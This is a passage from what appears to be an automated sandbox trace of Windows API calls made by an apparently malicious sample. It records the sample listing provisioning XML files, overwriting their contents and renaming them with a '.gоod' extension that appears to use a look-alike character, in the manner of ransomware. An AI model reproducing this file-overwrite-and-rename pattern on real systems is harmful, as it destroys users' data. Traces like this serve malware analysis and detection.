ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0113.400] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0113.400] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0113.400] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0113.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0113.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0113.400] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x4c [0113.400] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.401] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.401] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0113.401] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0113.401] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0113.401] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.401] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0113.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0113.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0113.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0113.402] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x354ed40 | out: lpFileInformation=0x354ed40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9)) returned 1 [0113.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0113.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0113.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0113.402] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.402] GetFileType (hFile=0x7c8) returned 0x1 [0113.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0113.402] GetFileType (hFile=0x7c8) returned 0x1 [0113.402] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xcb9 [0113.403] ReadFile (in: hFile=0x7c8, lpBuffer=0x354fd18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x354fd18*, lpNumberOfBytesRead=0x1f9edc08*=0xcb9, lpOverlapped=0x0) returned 1 [0113.404] CloseHandle (hObject=0x7c8) returned 1 [0113.978] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0113.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0113.978] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0114.372] GetFileType (hFile=0x20c) returned 0x1 [0114.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0114.372] GetFileType (hFile=0x20c) returned 0x1 [0114.372] WriteFile (in: hFile=0x20c, lpBuffer=0x3510648*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3510648*, lpNumberOfBytesWritten=0x1f9edb18*=0xcc0, lpOverlapped=0x0) returned 1 [0114.560] CloseHandle (hObject=0x20c) returned 1 [0114.560] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0114.561] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0114.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0114.561] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x407f80b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcc0)) returned 1 [0114.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0114.561] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.gоod")) returned 1 [0114.562] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0114.562] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x358b448 | out: lpFileInformation=0x358b448*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0114.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0114.562] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0114.562] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0114.562] GetFileType (hFile=0x20c) returned 0x1 [0114.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0114.562] GetFileType (hFile=0x20c) returned 0x1 [0114.562] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0114.562] ReadFile (in: hFile=0x20c, lpBuffer=0x358b880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x358b880*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0114.603] CloseHandle (hObject=0x20c) returned 1 [0114.822] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0114.822] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.823] GetFileType (hFile=0x6e0) returned 0x1 [0114.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0114.823] GetFileType (hFile=0x6e0) returned 0x1 [0114.824] WriteFile (in: hFile=0x6e0, lpBuffer=0x34fc3c0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x34fc3c0*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0114.824] CloseHandle (hObject=0x6e0) returned 1 [0114.824] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0114.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0114.825] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40a808b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0114.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0114.825] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\masterdatastore.xml.gоod")) returned 1 [0114.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0114.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x51 [0114.826] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0114.826] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.826] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0114.826] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0114.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.827] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0114.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0114.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0114.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0114.827] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x51 [0114.827] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0114.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0114.827] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0114.828] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0114.828] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0114.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0114.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0114.828] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0114.828] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x350bfb0 | out: lpFileInformation=0x350bfb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, 